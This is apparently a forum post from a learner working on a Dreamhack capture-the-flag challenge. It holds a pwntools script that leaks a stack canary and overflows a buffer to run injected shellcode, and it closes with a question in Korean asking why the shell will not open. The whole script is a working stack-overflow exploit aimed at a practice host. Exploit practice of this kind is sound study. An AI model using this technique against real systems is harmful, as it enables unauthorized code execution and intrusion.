from pwn import *

def slog(n, m):
return success(": ".join([n, hex(m)]))

p = remote("host3.dreamhack.games",20931)

p.recvuntil(b'buf: ')
buf = int(p.recvline(),16)
slog("BUF ADD is ",buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline())
buf2cnry = buf2sfp-8

slog("buf2sfp",buf2sfp)
slog("buf2cnry",buf2cnry)

payload = b'A'*(buf2cnry+1)
p.sendafter(b'Input:',payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog("cnry is ",cnry)

sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry,b'A')+p64(cnry)+b'B'*0x8 +p64(buf)
p.sendlineafter(b'Input: ',payload)
p.interactive()

해당 코드가 쉘이 따지지 않네요.. 아무리 확인해봐도 쉘이 죽는데 어떤 부분이 잘못된건가요..?